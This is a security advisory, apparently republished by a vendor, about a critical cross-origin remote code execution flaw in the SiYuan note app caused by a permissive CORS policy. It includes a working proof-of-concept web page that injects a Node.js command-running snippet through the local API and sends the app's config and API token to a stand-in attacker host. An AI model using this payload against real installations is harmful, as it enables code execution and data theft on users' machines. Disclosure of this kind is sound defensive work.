GHSA-68p4-j234-43mv
CRITICALSiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.
Details
Vulnerable files:
kernel/server/serve.go, lines 960-963 — CORS middlewarekernel/api/snippet.go, lines 93-128 — snippet injection endpoint
Root cause: The CORS middleware unconditionally sets:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
The Access-Control-Allow-Private-Network: true header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with Access-Control-Allow-Origin: *, any website on the internet can make authenticated cross-origin requests to the SiYuan API at 127.0.0.1:6806.
The auth middleware at kernel/model/session.go:251-280 checks the Origin header, but this check is bypassed because the browser sends the session cookie (set on 127.0.0.1) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.
Attack chain:
- User visits
https://evil-attacker.comwhile SiYuan desktop is running - Malicious JS sends CORS preflight to
http://127.0.0.1:6806— SiYuan responds with permissive CORS headers - Browser sends actual POST to
/api/snippet/setSnippetwith the user's session cookie - SiYuan accepts the request and saves a malicious JS snippet
- The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution
PoC
Malicious webpage (hosted on any domain):
<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
snippets: [{
id: 'exploit-' + Date.now(),
name: 'system-update',
type: 'js',
content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
enabled: true
}]
})
}).then(r => r.json()).then(d => {
console.log('Snippet injected:', d);
});
// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
// Send API token and config to attacker server
fetch('https://evil-attacker.com/collect', {
method: 'POST',
body: JSON.stringify(d.data)
});
});
</script>
</body>
</html>
Verification steps:
- Start SiYuan desktop (or Docker with
SIYUAN_ACCESS_AUTH_CODEset) - Login to SiYuan in a browser to establish a session cookie
- In the same browser, navigate to the malicious page
- Verify snippet was injected:
curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \
-H "Content-Type: application/json" \
-b <session-cookie> \
-d '{"type":"all","enabled":2}'
Tested and confirmed on SiYuan v3.6.1 (Docker). The CORS preflight returns permissive headers, the snippet is injected from Origin: https://evil-attacker.com, and the API token is exfiltrated — all in a single page load.
Impact
- Remote Code Execution: Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges.
- Data exfiltration: The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.
- No user interaction beyond browsing: The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.
- Affects all desktop users: SiYuan desktop runs on
127.0.0.1:6806by default. TheAccess-Control-Allow-Private-Network: trueheader explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack. - Persistence: The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | 3.6.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/siyuan-note/siyuan/kernel to 3.6.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-68p4-j234-43mv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-68p4-j234-43mv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-68p4-j234-43mv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-68p4-j234-43mv in your dependencies?
O3 detects GHSA-68p4-j234-43mv across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.